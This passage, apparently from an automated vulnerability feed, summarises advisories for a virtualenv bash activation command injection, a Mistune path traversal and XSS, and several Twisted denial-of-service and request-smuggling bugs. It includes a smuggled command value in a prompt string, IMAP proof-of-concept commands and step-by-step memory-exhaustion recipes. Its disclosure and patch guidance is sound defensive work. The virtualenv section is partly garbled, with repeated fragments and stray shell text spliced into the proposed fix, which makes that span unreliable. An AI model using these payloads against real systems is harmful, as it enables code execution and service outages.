whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`. This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off. CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115586). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115586&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-cx6f-vjhg-g3cc: https://github.com/advisories/GHSA-cx6f-vjhg-g3cc GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115586: https://nvd.nist.gov/vuln/detail/CVE-2026-115586 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115586&date=2026-10-25 ## Summary The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`. This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off. ## Affected area Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash `bin/activate`. ## Attacker-controlled input The `--prompt` value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches `virtualenv` as `--prompt` on the command line or as the `prompt` argument of the API, is written into `bin/activate` as the literal `VIRTUAL_ENV_PROMPT` assignment (correctly quoted, the value arrives there as data), and the script then copies it into `PS1` without escaping `$` or the backtick. Example: a repository or tool config supplies a prompt such as `x$(id > /tmp/ve-pwn)y`; the victim creates and later activates the environment. ## Details Source of the latest release: [`src/virtualenv/activation/bash/activate.sh` lines 140-160](https://github.com/pypa/virtualenv/blob/21.14.12/src/virtualenv/activation/bash/activate.sh#L140-L160) ```sh if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] && { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then _OLD_VIRTUAL_PS1="${PS1-}" # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and # backslashes need doubling. ... if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}" else _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}" if [ -n "${ZSH_VERSION-}" ]; then _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}" fi PS1="(${_VIRTUAL_PROMPT}) ${PS1-}" unset _VIRTUAL_PROMPT fi fi ``` Two separate mistakes combine: 1. A runtime shell option is treated as a constant. `shopt -u promptvars` at the moment of `source` does not bind the shell forever: `shopt -s promptvars` and `set -o posix` both re-enable PS1 expansion in the same shell. The code itself tests `shopt -qo posix` because posix mode expands the prompt regardless of `promptvars`, which shows the expansion state is not fixed by the activation. 2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping `$` and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch. The rendered prompt shows the regression directly: ``` 21.14.8 PS1 = (x\\$(id > /tmp/ve-pwn)y) /tmp/ve-pwn)y) /tmp/ve-pwn)y) /tmp/ve-pwn)y' /tmp/venv-demo cat > /tmp/rc `\$`, backtick -> ``\` ``, `\` -> `\\`). Verified on bash 5.1.16 that a `PS1` built that way is inert with `promptvars` on, with `promptvars` off, and with `promptvars` off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten. ```sh else _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}" if [ -n "${ZSH_VERSION-}" ]; then _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}" fi PS1="(${_VIRTUAL_PROMPT}) ${PS1-}" ``` For the tests, `tests/unit/activation/test_bash.py::test_bash_prompt_options` already parametrises `("before", "after", "expected")` and covers `before="shopt -u promptvars"` with `after=""`. The missing axis is the transition: `("shopt -u promptvars", "shopt -s promptvars", ...)` and `("shopt -u promptvars", "set -o posix", ...)`, with the existing `PWNED` check asserting no file was created. ## Latest release - [x] The problem reproduces on the latest virtualenv release. Affected package ranges reported by GitHub: virtualenv: >= 21.14.9, < 21.14.13 Action: GitHub lists first patched versions: virtualenv: 21.14.13. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Mistune: Path Traversal and XSS in Include directive https://kevwire.com/record/CVE-2026-115355 Mistune: Path Traversal and XSS in Include directive (Oct 23, 2026). The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files. Additionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`. CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115355). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115355&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-h7ww-273w-6cm8: https://github.com/advisories/GHSA-h7ww-273w-6cm8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115355: https://nvd.nist.gov/vuln/detail/CVE-2026-115355 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115355&date=2026-10-25 The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files. Additionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`. Affected functions: - Path resolution (lines 27-31) - `block_error()` in html.py (line 140) - `render_html_include()` (line 72) The Include plugin must be explicitly enabled via the plugins parameter. Affected package ranges reported by GitHub: mistune: <= 3.2.0 Action: GitHub lists first patched versions: mistune: 3.3.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Twisted: Denial of Service in the Twisted IMAP4 Server via a Negative Literal Size in SEARCH https://kevwire.com/record/CVE-2026-115774 Twisted: Denial of Service in the Twisted IMAP4 Server via a Negative Literal Size in SEARCH (Oct 23, 2026). An infinite-loop vulnerability (CWE-835) in the Twisted IMAP4 server lets an authenticated client freeze the whole process with one small command. `twisted.mail.imap4.parseNestedParens` reads an IMAP literal size with `int()` and never rejects a negative value. A negative size such as `{-100}` drives the parser cursor negative, and because a negative Python index wraps around the end of the string instead of raising, the scanning loop never terminates. It runs synchronously on the single-threaded reactor, so one `SEARCH` command holds the reactor at full CPU forever and every other connection stops being served. Meeting an inline literal, `parseNestedParens` reads the size between the braces and advances the cursor past the body: CVSS 4.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2qrf-pqgx-qh9v). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115774&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-2qrf-pqgx-qh9v: https://github.com/advisories/GHSA-2qrf-pqgx-qh9v GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115774&date=2026-10-25 ## Summary An infinite-loop vulnerability (CWE-835) in the Twisted IMAP4 server lets an authenticated client freeze the whole process with one small command. `twisted.mail.imap4.parseNestedParens` reads an IMAP literal size with `int()` and never rejects a negative value. A negative size such as `{-100}` drives the parser cursor negative, and because a negative Python index wraps around the end of the string instead of raising, the scanning loop never terminates. It runs synchronously on the single-threaded reactor, so one `SEARCH` command holds the reactor at full CPU forever and every other connection stops being served. ## Details Meeting an inline literal, `parseNestedParens` reads the size between the braces and advances the cursor past the body: ```python # twisted/mail/imap4.py parseNestedParens literalSize = int(s[i + 1 : end]) # no sign check contentStack[-1].append((s[end + 3 : end + 3 + literalSize],)) i = end + 3 + literalSize # negative size -> i goes negative ``` `int(b"-100")` is `-100`, so `i` goes negative; the loop condition `i < len(s)` stays true and `s[i : i + 1]` on a negative index never raises, so the cursor cycles forever. The `_literalStringLimit` guard only covers the synchronizing-literal continuation path, not this inline branch. The call is reached from `select_SEARCH` through `arg_searchkeys`, dispatched only in the selected state, so a valid login and a selected mailbox (any low-privilege account) suffice. It runs in the reactor thread, and the connection timeout cannot fire because the reactor itself is frozen. Affected product: Twisted (`twisted.mail`), the IMAP4 server `twisted.mail.imap4.IMAP4Server` Affected versions: 26.4.0 and earlier ## PoC Log in, select a mailbox, and send a `SEARCH` whose literal size is negative: ```text C: t1 LOGIN testuser password-test C: t2 SELECT INBOX C: t3 SEARCH {-100}zzzzzzzzzz ``` The server never responds and one core stays at 100 percent. In a measured run a health service co-hosted on the same reactor stopped answering the instant the command arrived, showing the freeze hits the whole process and not just the attacking connection. A valid `{5}zzzzz` completes normally and a non-numeric `{abc}` is rejected with a parse error, which isolates the cause to the missing negative-size check. ## Impact A remote denial of service. One command of about ten bytes freezes the single-threaded reactor, so it stops serving not only every other IMAP connection but every other service co-hosted in the same process (for example SMTP and POP3 under `twistd mail`), and no timeout can recover it until the process is restarted. It requires an authenticated session, so any account holder can trigger it; there is no confidentiality or integrity impact and no code execution. Affected package ranges reported by GitHub: Twisted: <= 26.4.0 Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Twisted: Unauthenticated Remote Denial of Service in the Twisted IRC Server via an Unbounded Line Buffer https://kevwire.com/record/CVE-2026-115776 Twisted: Unauthenticated Remote Denial of Service in the Twisted IRC Server via an Unbounded Line Buffer (Oct 23, 2026). An unbounded-buffer vulnerability (CWE-770) in the Twisted words IRC server lets any unauthenticated remote client exhaust server memory. `twisted.words.protocols.irc.IRC.dataReceived` appends every received byte to a per-connection buffer and only removes data at a line feed, with no maximum length. Because `IRC` is a plain `Protocol` and not a `LineReceiver`, one connection that streams bytes without a line feed grows the buffer without bound and drives the whole single-threaded process to out-of-memory, dropping every user at once. The `twistd words` server inherits the method unchanged through `IRCUser`, and the data is buffered before any authentication. `IRC.dataReceived` keeps everything up to the last line feed in `self.buffer`: CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115776). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115776&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-53xc-49m8-p798: https://github.com/advisories/GHSA-53xc-49m8-p798 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115776: https://nvd.nist.gov/vuln/detail/CVE-2026-115776 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115776&date=2026-10-25 ## Summary An unbounded-buffer vulnerability (CWE-770) in the Twisted words IRC server lets any unauthenticated remote client exhaust server memory. `twisted.words.protocols.irc.IRC.dataReceived` appends every received byte to a per-connection buffer and only removes data at a line feed, with no maximum length. Because `IRC` is a plain `Protocol` and not a `LineReceiver`, one connection that streams bytes without a line feed grows the buffer without bound and drives the whole single-threaded process to out-of-memory, dropping every user at once. The `twistd words` server inherits the method unchanged through `IRCUser`, and the data is buffered before any authentication. ## Details `IRC.dataReceived` keeps everything up to the last line feed in `self.buffer`: ```python # twisted/words/protocols/irc.py class IRC(protocol.Protocol): # not a LineReceiver, so no MAX_LENGTH buffer = "" def dataReceived(self, data): if isinstance(data, bytes): data = data.decode("utf-8") lines = (self.buffer + data).split(LF) self.buffer = lines.pop() # no 3line feed -> whole input stays buffered ... ``` With no line feed in the data, `lines.pop()` returns the entire accumulated content to `self.buffer`, so it grows by every chunk and is never bounded; `IRC` defines no `MAX_LENGTH`, no `lineLengthExceeded`, and no timeout, so the connection is never closed. The `twistd words` server protocol `IRCUser` subclasses `IRC` without overriding `dataReceived`, and the buffer is filled before any `PASS`, `NICK`, or `USER`, so no credentials are required. Affected product: Twisted (`twisted.words`), `twisted.words.protocols.irc.IRC` and its subclass `twisted.words.service.IRCUser` Affected versions: 26.4.0 and earlier ## PoC On a standard Twisted words IRC server (the server `twistd words` runs, using `IRCUser`), an unauthenticated client opens a single TCP connection and continuously sends data that contains no line feed, never completing a line. Every chunk is appended to the connection's line buffer, and because no complete line is ever formed none of it is consumed, so the buffer grows by the full volume sent. In a measured run against a real `IRCFactory` server, one unauthenticated connection sending 60 MB of line-feed-free data raised the server process resident memory from about 47 MB to 2966 MB (roughly 49 MB per MB sent) with the connection still open and no limit triggered. Sending the same volume as normal line-feed-terminated commands leaves memory flat, which isolates the cause to the missing line-length bound. ## Impact An unauthenticated remote denial of service from allocation without limits (CWE-770) leading to uncontrolled resource consumption (CWE-400). A single credential-free connection exhausts the memory of the whole `twistd words` process, and because one process serves every user, the crash drops all connections at once and the service stays down until it is restarted. The quadratic buffer copy reaches the same effect faster. There is no confidentiality or integrity impact and no code execution. Affected package ranges reported by GitHub: Twisted: <= 26.4.0 Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Twisted: Unauthenticated Remote Denial of Service in the Twisted conch Telnet Transport via an Unbounded Subnegotiation Buffer https://kevwire.com/record/CVE-2026-115778 Twisted: Unauthenticated Remote Denial of Service in the Twisted conch Telnet Transport via an Unbounded Subnegotiation Buffer (Oct 23, 2026). An allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed. The option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check: CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115778). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115778&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-cwm5-jh59-mwxr: https://github.com/advisories/GHSA-cwm5-jh59-mwxr GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115778: https://nvd.nist.gov/vuln/detail/CVE-2026-115778 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115778&date=2026-10-25 ## Summary An allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed. ## Details The option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check: ```python # src/twisted/conch/telnet.py (Telnet.dataReceived) elif self.state == "subnegotiation": if b == IAC: self.state = "subnegotiation-escaped" else: self.commands.append(b) # unbounded: no len(self.commands) check ``` `self.commands` is an instance attribute that persists across `dataReceived` calls and is deleted only when `IAC SE` completes the subnegotiation. Negotiation runs at the transport layer before authentication, and the bytes are consumed inside `dataReceived` before any application callback, so an application cannot impose a bound. Twisted caps other parser buffers, for example `NetstringReceiver.MAX_LENGTH`, but not this one. Affected product: Twisted, `twisted.conch.telnet` transport Affected versions: confirmed against 26.4.0 ## PoC On any endpoint that exposes the Twisted telnet transport, such as the Twisted manhole telnet service, open one connection and send the two bytes `IAC SB` (`0xFF 0xFA`), then stream any non-`0xFF` bytes continuously and never send the `IAC SE` terminator (`0xFF 0xF0`). No credentials are required, because option negotiation runs before authentication. Every byte is appended to the per-connection subnegotiation buffer with no maximum, and the buffer is released only by the terminator the attacker withholds, so it grows for the life of the connection. Because each byte is retained as a separate element the memory consumed is several times the traffic sent, so a modest-bandwidth peer, or several such connections, drives the process to memory exhaustion. ## Impact This is an unauthenticated remote denial of service (CWE-770, CWE-400) by memory exhaustion. A single connection grows an in-memory buffer without bound at a cost proportional to the bytes sent, amplified by per-byte object overhead, until the operating system kills the server and every service it hosts. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that exposes a Twisted telnet or manhole transport to untrusted peers. Affected package ranges reported by GitHub: Twisted: <= 26.4.0 Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree https://kevwire.com/record/CVE-2026-115775 Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree (Oct 23, 2026). An allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed. In `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check: CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115775). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115775&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-3476-c5c2-fr73: https://github.com/advisories/GHSA-3476-c5c2-fr73 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115775: https://nvd.nist.gov/vuln/detail/CVE-2026-115775 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115775&date=2026-10-25 ## Summary An allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed. ## Details In `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check: ```python # src/twisted/words/xish/domish.py (ExpatElementStream._onStartElement) if self.documentStarted == 1: if self.currElem != None: self.currElem.children.append(e) # append child: no depth/count cap e.parent = self.currElem self.currElem = e # descend into the new element ``` An element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport `XmlStream.dataReceived` feeds bytes to `self.stream.parse(data)` with no size limit, and in XMPP the stream is parsed during negotiation before authentication. Affected product: Twisted, `twisted.words.xish.domish` element stream Affected versions: confirmed against 26.4.0 ## PoC On any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening `stream:stream` tag and a container element, then stream child elements continuously and never send the container's closing tag. No credentials are required, because in XMPP the stream is parsed before authentication. Every child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion. ## Impact This is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component. Affected package ranges reported by GitHub: Twisted: <= 26.4.0 Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Twisted: HTTP Request Smuggling in twisted.web via a Bare CR or LF in a Header Value https://kevwire.com/record/CVE-2026-115877 Twisted: HTTP Request Smuggling in twisted.web via a Bare CR or LF in a Header Value (Oct 23, 2026). An incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. `twisted.web.http.HTTPChannel.headerReceived` rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check. `headerReceived` splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL: CVSS 5.4 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-q7qq-6mhp-9rc4). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115877&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-q7qq-6mhp-9rc4: https://github.com/advisories/GHSA-q7qq-6mhp-9rc4 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115877&date=2026-10-25 ## Summary An incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. 